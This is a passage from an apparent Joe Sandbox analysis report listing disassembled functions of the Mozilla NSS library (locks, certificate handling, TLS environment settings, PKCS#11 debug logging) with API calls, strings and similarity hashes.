Part of subcall function 6CEC1940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6CEC563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6CEC195C
Part of subcall function 6CEC1940: EnterCriticalSection.KERNEL32(?,?,6CEC563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC1970
Part of subcall function 6CEC1940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6CE9EAC5,00000001,?,6CE9CE9B,00000001,6CE9EAC5), ref: 6CEC19A0

PL_FreeArenaPool.NSS3(?), ref: 6CEAA067
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA055

Part of subcall function 6CE04C70: TlsGetValue.KERNEL32(?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04C97
Part of subcall function 6CE04C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CB0
Part of subcall function 6CE04C70: PR_Unlock.NSS3(?,?,?,?,?,6CE03921,6CFE14E4,6CF4CC70), ref: 6CE04CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAA07E
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA0B1
PL_FreeArenaPool.NSS3(?), ref: 6CEAA0C7
PL_FinishArenaPool.NSS3(?), ref: 6CEAA0CF
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CEAA12E
PL_FreeArenaPool.NSS3(?), ref: 6CEAA140
PL_FinishArenaPool.NSS3(?), ref: 6CEAA148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEAA158
PL_FinishArenaPool.NSS3(?), ref: 6CEAA175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6CEAA1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6CEAA1B2
free.MOZGLUE(00000000), ref: 6CEAA1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6CEAA1D6

Part of subcall function 6CEC55E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6CE9EAC5,00000001,?,6CE9CE9B,00000001,6CE9EAC5,00000003,-00000004,00000000,?,6CE9EAC5), ref: 6CEC5627
Part of subcall function 6CEC55E0: PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001,?,6CE9CE9B), ref: 6CEC564F
Part of subcall function 6CEC55E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9EAC5,00000001), ref: 6CEC5661
Part of subcall function 6CEC55E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE9EAC5), ref: 6CEC56AF

Strings

security, xrefs: 6CEAA00F

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: bb31e5df51d808d69576b43c37d6d8b8aeb46da4b13892456cf8a652ccfa1c2e
Instruction ID: a51e2dc2aeed04ea999f8e4cebb718c4ff556f7a55c8180648ea96f26b21aa5d
Opcode Fuzzy Hash: bb31e5df51d808d69576b43c37d6d8b8aeb46da4b13892456cf8a652ccfa1c2e
Instruction Fuzzy Hash: 5A51D8B1E403096FEB119BE5DC84BAE7378AF5974CF300029E905AFB41E775950ACB92

Function 6CEC4C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEC4C4C
EnterCriticalSection.KERNEL32(?), ref: 6CEC4C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4DB7

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707AD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707CD
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CE0204A), ref: 6CE707D6
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CE0204A), ref: 6CE707E4
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,6CE0204A), ref: 6CE70864
Part of subcall function 6CE707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE70880
Part of subcall function 6CE707A0: TlsSetValue.KERNEL32(00000000,?,?,6CE0204A), ref: 6CE708CB
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708D7
Part of subcall function 6CE707A0: TlsGetValue.KERNEL32(?,?,6CE0204A), ref: 6CE708FB

TlsGetValue.KERNEL32 ref: 6CEC4DD7
EnterCriticalSection.KERNEL32(?), ref: 6CEC4DEC
PR_Unlock.NSS3(?), ref: 6CEC4E1B
PR_SetError.NSS3(00000000,00000000), ref: 6CEC4E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC4E5A
PR_SetError.NSS3(00000000,00000000), ref: 6CEC4E71
free.MOZGLUE(00000000), ref: 6CEC4E7A
PR_Unlock.NSS3(?), ref: 6CEC4EA2
TlsGetValue.KERNEL32 ref: 6CEC4EC1
EnterCriticalSection.KERNEL32(?), ref: 6CEC4ED6
PR_Unlock.NSS3(?), ref: 6CEC4F01
free.MOZGLUE(00000000), ref: 6CEC4F2A

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: 6ffe099877773f46f87e318af2188f636a2144fe5454dff181651d855224f99f
Instruction ID: 2059a8c1790c4bf1fdf37b5d14f302876d8f309ea0b4cfb3c6a877eaf3b01bef
Opcode Fuzzy Hash: 6ffe099877773f46f87e318af2188f636a2144fe5454dff181651d855224f99f
Instruction Fuzzy Hash: B8B11371F002059FEB40EF68D940BAA77B4BF09318F254129ED259BB11EB34E961CBD2

Function 6CECFFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFB4

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFC6

Part of subcall function 6CF498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF49946
Part of subcall function 6CF498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE016B7,00000000), ref: 6CF4994E
Part of subcall function 6CF498D0: free.MOZGLUE(00000000), ref: 6CF4995E

PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFD6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFE6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CECFFF6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0006
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0016
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0026
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0036
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0046
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0056
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0066
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0076
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0086
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED0096
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00A6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00B6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00C6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00D6
PR_NewLock.NSS3(?,?,6CEC76C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE975C2,00000000), ref: 6CED00E6

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 318627c730e4fc7418084243698eab799bc1be2d5b9b002249391bef241a9a88
Instruction ID: 1749977245aba9ec23fb3b4b1804a8d503ef5571b362dad7c4fa1c6b53044c21
Opcode Fuzzy Hash: 318627c730e4fc7418084243698eab799bc1be2d5b9b002249391bef241a9a88
Instruction Fuzzy Hash: 96310AF0F2161ABE8BC6DF6996487493EB8B71E604750A21AD00486703FFB6024DCF96

Function 6CF16E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CF16BF7), ref: 6CF16EB6

Part of subcall function 6CE71240: TlsGetValue.KERNEL32(00000040,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71267
Part of subcall function 6CE71240: EnterCriticalSection.KERNEL32(?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE7127C
Part of subcall function 6CE71240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE71291
Part of subcall function 6CE71240: PR_Unlock.NSS3(?,?,?,?,6CE7116C,NSPR_LOG_MODULES), ref: 6CE712A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CFBFC0A,6CF16BF7), ref: 6CF16ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CF16EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CF16EFC
PR_NewLock.NSS3 ref: 6CF16F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF16F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CF16BF7), ref: 6CF16F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CF16BF7), ref: 6CF16F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CF16BF7), ref: 6CF16FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CF16BF7), ref: 6CF16FFD

Strings

SSLKEYLOGFILE, xrefs: 6CF16EB1
SSLFORCELOCKS, xrefs: 6CF16F2B
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CF16F4F
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CF16EF7
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CF16FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CF16FF8

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 333883c3d69ccd82703e57acdecd1a6bd483bacf1c9d6e77f311b6529d087622
Instruction ID: c7049333e33dc867867494179cb60975393d9d2cab57b53be77b0208317f0ff6
Opcode Fuzzy Hash: 333883c3d69ccd82703e57acdecd1a6bd483bacf1c9d6e77f311b6529d087622
Instruction Fuzzy Hash: FFA105B3F6D9D197E7A0463CCC0039532A2AB8B329F68436AE839C6ED4EF7594408741

Function 6CE95DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE95DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE95E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE95E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE95E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE95EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE95ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE95F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE95F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE95F89
free.MOZGLUE(?), ref: 6CE95FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE95FB6
free.MOZGLUE(00000000), ref: 6CE95FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE9600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE96079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE96084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE96094

Strings

, xrefs: 6CE95EEB

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: f8ad6abebd597bd7dd3875beb0cd6f75d314f2a9b76d4b656fabadda3963b95e
Instruction ID: 253e3d07c8d885af4c1e5886ecbf2a23fb0070ac9ef76421f67b5210cb308ef4
Opcode Fuzzy Hash: f8ad6abebd597bd7dd3875beb0cd6f75d314f2a9b76d4b656fabadda3963b95e
Instruction Fuzzy Hash: B38104B1E052059BDF10CE64DC85BAE77B5AF0932DF244228E81AE7791E731E805CBD2

Function 6CEB6D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CEB6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB6DC3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEB6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEB6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CEB6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CEB6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CEB6EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6CEB6EB4
hSession = 0x%x, xrefs: 6CEB6D9E, 6CEB6DAE
pulDigestLen = 0x%p, xrefs: 6CEB6E42
ulDataLen = %d, xrefs: 6CEB6E0E
pDigest = 0x%p, xrefs: 6CEB6E27
pData = 0x%p, xrefs: 6CEB6DF5
(CK_INVALID_HANDLE), xrefs: 6CEB6DBC
C_Digest, xrefs: 6CEB6D81

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 6312e0e4c431de50015ae0c5a107c82bf3bd0f06ae71df547828046f53f25f63
Instruction ID: 89c1555e041ca66e2f8bed81ed0e971ec703143b9be1979baea7d6d50c902de2
Opcode Fuzzy Hash: 6312e0e4c431de50015ae0c5a107c82bf3bd0f06ae71df547828046f53f25f63
Instruction Fuzzy Hash: 8B411731A11005FFDB44DF54DE48F9A7BB5AB4A30CF154028F808A7711DF329A19CB91

Function 6CEB9C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CEB9C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB9C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB9CA3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB9CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CEB9CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CEB9CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CEB9D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CEB9D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CEB9D42

Strings

pUsername = 0x%p, xrefs: 6CEB9D24
userType = 0x%x, xrefs: 6CEB9CD5
C_LoginUser, xrefs: 6CEB9C61
hSession = 0x%x, xrefs: 6CEB9C7E, 6CEB9C8E
ulPinLen = %d, xrefs: 6CEB9D0B
ulUsernameLen = %d, xrefs: 6CEB9D3D
pPin = 0x%p, xrefs: 6CEB9CF0
(CK_INVALID_HANDLE), xrefs: 6CEB9C9C

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 8ca6a7073c4d066bec62391fd418077e6b1cdb10e332443473bf2c071c9074e3
Instruction ID: 6d6135d0ff2d5de00ec100d03d2dcf78a0dc48882dc21be7856ecad062b76093
Opcode Fuzzy Hash: 8ca6a7073c4d066bec62391fd418077e6b1cdb10e332443473bf2c071c9074e3
Instruction Fuzzy Hash: 3741D435A01105FFDB84DF55DE48BAA7BB1AB5A30EF194028F50877711DB329918CBA2

Function 6CE71FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE72007
calloc.MOZGLUE(00000001,00000084), ref: 6CE72077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE720DF
TlsSetValue.KERNEL32(00000000), ref: 6CE72188
PR_NewCondVar.NSS3 ref: 6CE721B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE7221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE722C2
GetLastError.KERNEL32 ref: 6CE722CD
free.MOZGLUE(00000000), ref: 6CE722DD

Part of subcall function 6CE70F00: PR_GetPageSize.NSS3(6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F1B
Part of subcall function 6CE70F00: PR_NewLogModule.NSS3(clock,6CE70936,FFFFE8AE,?,6CE016B7,00000000,?,6CE70936,00000000,?,6CE0204A), ref: 6CE70F25

Memory Dump Source

Source File: 00000001.00000002.1923926179.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000001.00000002.1923899574.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924170636.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924283439.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924392670.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924426284.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1924470792.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ce00000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 44c876a3a8985b62d618ed73756a457fed4bbd05d7a1c82e7fdc87085a114f70
Instruction ID: e5b964363613d53ee0033ec421321fbd560deb8890194a1d977b48db74f2505d
Opcode Fuzzy Hash: 44c876a3a8985b62d618ed73756a457fed4bbd05d7a1c82e7fdc87085a114f70
Instruction Fuzzy Hash: ED916E71A11742EFDBA4DF38D80975A7BF4BB0A708F10452EE54AD6B80EB71A105CBA1

Function 6CF99C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF99C70
PR_NewLock.NSS3 ref: 6CF99C85

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewCondVar.NSS3(00000000), ref: 6CF99C96

Part of subcall function 6CE6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE721BC), ref: 6CE6BB8C

PR_NewLock.NSS3 ref: 6CF99CA9

Part of subcall function 6CF498D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CF49946
Part of subcall function 6CF498D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE016B7,00000000), ref: 6CF4994E
Part of subcall function 6CF498D0: free.MOZGLUE(00000000), ref: 6CF4995E

PR_NewLock.NSS3 ref: 6CF99CB9
PR_NewLock.NSS3 ref: 6CF99CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF99CDA

Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6BBEB
Part of subcall function 6CE6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE6BBFB
